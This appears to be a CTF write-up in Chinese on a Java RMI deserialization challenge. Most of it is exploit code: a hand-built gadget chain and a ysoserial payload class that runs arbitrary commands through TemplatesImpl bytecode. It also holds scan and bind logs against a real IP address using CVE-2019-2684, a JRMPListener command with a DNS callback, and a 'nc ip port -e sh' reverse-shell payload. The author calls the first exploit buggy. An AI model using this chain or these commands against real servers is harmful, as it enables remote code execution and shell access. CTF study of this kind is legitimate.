package exp; import com.ctf.threermi.FactoryInter; import com.ctf.threermi.Friend; import com.ctf.threermi.MyInvocationHandler; import com.ctf.threermi.UserInter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import static exp.RealDemo.getTemplatesImpl; import static exp.RealDemo.setValue; import static sun.reflect.misc.FieldUtil.getField; class UserImpl implements UserInter { Registry registry; { try { registry = LocateRegistry.getRegistry(5004); } catch (RemoteException e) { e.printStackTrace(); } } @Override public String sayHello(String paramString) throws RemoteException { return null; } @Override public Friend getGirlFriend() throws RemoteException { FactoryInter factoryInter = null;//annotationInvocationHandler try { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2); allIfaces[0] = FactoryInter.class; allIfaces[1] = Remote.class; factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory"))); } catch (Exception e) { e.printStackTrace(); } final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); try { setValue(myInvocationHandler,"object",factoryInter); } catch (Exception e) { e.printStackTrace(); } final Friend friend = (Friend)Proxy.newProxyInstance(myInvocationHandler,Friend.class, Templates.class); return friend; } } class FactoryImpl implements FactoryInter{ String cmd; @Override public Object getObject() { try { TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "aaa"); getTemplatesImpl(this.cmd); setValue(templates, "_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } catch (Exception e) { throw new RuntimeException(e); } } } public class RealDemo { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static void main(String[] args) throws Exception { //RmiServer的代码 Registry registry = LocateRegistry.createRegistry(7777); FactoryImpl factoryImpl = new FactoryImpl(); // bind可以绑多个 registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777)); userImpl user = new userImpl(); registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777)); //制造ref // ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass() InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl")); Field field = ref.getClass().getSuperclass().getDeclaredField("ref"); field.setAccessible(true); UnicastRef unicastRef = (UnicastRef)field.get(ref); LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref"); TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep"); setValue(tcpEndpoint,"host","8.129.42.140"); //RemoteObjectInvocationHandler Class<?> c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref); //由于失去了AnnouceInvocationHandler,这些都不用了 // // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl // // // test : factory.toString(); // // //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject // //并且会调用 method.invoke(返回值,args) // //此时返回值被我们使用动态代理改为了 TemplatesImpl // //接下来需要 method 是 newTransformer(),就可以触发调用链了 // Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler"); // Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; // ofdConstructor.setAccessible(true); // // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler // //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); // InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(); // setValue(ofdHandler,"object",factory); // // //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); // //hashMap.get(1); // // MyInvocationHandler 本身就是个 InvocationHandler // // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法 // // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 // Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), // new Class[]{Friend.class, Templates.class}, ofdHandler); // // // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类 // HashMap<String, Object> map2 = new HashMap<>(); // map2.put("getGirlFriend", typeTemplateProxy); // // InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); // // Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter"); // // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy // 下面缺参数User,直接代理一个User final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler); // Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), // new Class[]{UserInter}, newInvocationHandler); // 初始化 Gadget Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Object objects = cons.newInstance(); setValue(objects,"mName","newTransformer"); setValue(objects,"user",userr); serialize(objects); unserialize("ser1.bin"); } }
里面还有问题,算了,应该学学魔改Yso,不应该手搓的
仔细一想还是效率的原因,手搓bug太多了
exp
URLDNS
https://github.com/qtc-de/remote-method-guesser
效果挺好,记录一下当时
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar scan 8.129.42.140 --ports 1098-8081 [+] Scanning 6984 Ports on 8.129.42.140 for RMI services. [+] [-] Caught unexpected java.rmi.ConnectIOException during portscan operation. [-] Please report this to improve rmg :) [-] StackTrace: java.rmi.ConnectIOException: Exception creating connection to: 8.129.42.140; nested exception is: java.net.SocketTimeoutException: Connect timed out at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:637) at java.rmi/sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:217) at java.rmi/sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:204) at java.rmi/sun.rmi.server.UnicastRef.newCall(UnicastRef.java:345) at eu.tneitzel.rmg.networking.RMIEndpoint.unmanagedCall(RMIEndpoint.java:263) at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.scanAct(PortScanner.java:248) at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.run(PortScanner.java:182) at java.base/java.util.concurrent.ForkJoinTask$RunnableExecuteAction.exec(ForkJoinTask.java:1423) at java.base/java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:387) at java.base/java.util.concurrent.ForkJoinPool$WorkQueue.topLevelExec(ForkJoinPool.java:1312) at java.base/java.util.concurrent.ForkJoinPool.scan(ForkJoinPool.java:1843) at java.base/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1808) at java.base/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:188) Caused by: java.net.SocketTimeoutException: Connect timed out at java.base/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:546) at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:592) at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327) at java.base/java.net.Socket.connect(Socket.java:751) at eu.tneitzel.rmg.networking.TimeoutSocketFactory.createSocket(TimeoutSocketFactory.java:57) at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619) ... 12 more [+] [HIT] Found RMI service(s) on 8.129.42.140:1099 (Registry, DGC) [+] [13967 / 13967] [#############################] 100% [+] [+] Portscan finished. PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar enum 8.129.42.140 1099 [+] RMI registry bound names: [+] [+] - ctf [+] --> com.ctf.threermi.UserInter (unknown class) [+] Endpoint: 172.19.0.2:46483 CSF: RMISocketFactory ObjID: [-28f27ab1:18df04e8ec1:-7fff, 1001789442495291446] [+] [+] RMI server codebase enumeration: [+] [+] - The remote server does not expose any codebases. [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught ClassCastException during lookup call. [+] --> The server ignored the provided codebase (useCodebaseOnly=true). [+] Configuration Status: Current Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Caught Exception containing 'no security manager' during RMI call. [+] --> The server does not use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught NoSuchObjectException during activate call (activator not present). [+] Configuration Status: Current Default
主要是注意到CVE-2019-2684,待会可以
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar bind 8.129.42.140 1099 8.129.42.140:1234 my-object --localhost-bypass [+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub [+] [+] Encountered no Exception during bind call. [+] Bind operation was probably successful.
测试一下yso联动(urldns)
D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1234 URLDNS "http://2b7faf67a3.ipv6.1433.eu.org"
urldns可以,但是比较蛋疼的是绑了一次就要使用rebind
构造好exp -》 jar包(yso)
要用这种方法
主清单是GeneratePayload
build成后有个签名报错
解决方法是压缩包工具打开jar并删除签名文件
llt大哥听了表示无语
RCE
rceExp
package ysoserial.payloads; import com.ctf.threermi.*; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import javax.xml.transform.Templates; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; /* /* Gadget chain: Gadget.readObject() UserInter(Proxy).getGirlFriend() RemoteObjectInvocationHandler.invoke() UnicastRef.invoke() StreamRemoteCall#executeCall() UserInter.getGirlFriend() Templates(Proxy).newTransformer() MyInvocationHandler.invoke() FactoryInter(Proxy).getObject() RemoteObjectInvocationHandler.invoke() UnicastRef.invoke() StreamRemoteCall#executeCall() FactoryInter.getObject() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec() */ */ class UserImpl implements UserInter { Registry registry; { try { registry = LocateRegistry.getRegistry(7777); } catch (RemoteException e) { e.printStackTrace(); } } @Override public String sayHello(String paramString) throws RemoteException { return null; } @Override public Friend getGirlFriend() throws RemoteException { FactoryInter factoryInter = null;//annotationInvocationHandler try { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2); allIfaces[0] = FactoryInter.class; allIfaces[1] = Remote.class; factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory"))); } catch (Exception e) { e.printStackTrace(); } final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); try { Reflections.setFieldValue(myInvocationHandler,"object",factoryInter); } catch (Exception e) { e.printStackTrace(); } final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class); return friend; } } class FactoryImpl implements FactoryInter{ String cmd; @Override public Object getObject() throws Exception { return Gadgets.createTemplatesImpl(this.cmd); } } public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { int evilServerPort = 7777; Registry registry = LocateRegistry.createRegistry(evilServerPort); UserImpl user1 = new UserImpl(); registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort)); FactoryImpl factoryImpl = new FactoryImpl(); Reflections.setFieldValue(factoryImpl,"cmd",command); registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort)); // ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass() InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl")); Field field = ref.getClass().getSuperclass().getDeclaredField("ref"); field.setAccessible(true); UnicastRef unicastRef = (UnicastRef)field.get(ref); LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref"); TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep"); Reflections.setFieldValue(tcpEndpoint,"host","10.122.207.125"); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref")); final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler); Gadget gadget = new Gadget(); Reflections.setFieldValue(gadget,"user",user); Reflections.setFieldValue(gadget,"mName","newTransformer"); return gadget; } public static void main(String[] args) throws Exception { PayloadRunner.run(TCTF3rmiExp.class, args); } }
本地可以复现,注意LocateRegistry.getRegistry(7777);和evilPort要一致
D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 4444 TCTF3rmiExp 'nc ip port -e sh'
远程复现不了,不知道为什么,也试过jdk版本了,本地windows起了一个一模一样的环境,也没有办法复现
这些回显都有,所以我怀疑还是附件有毛病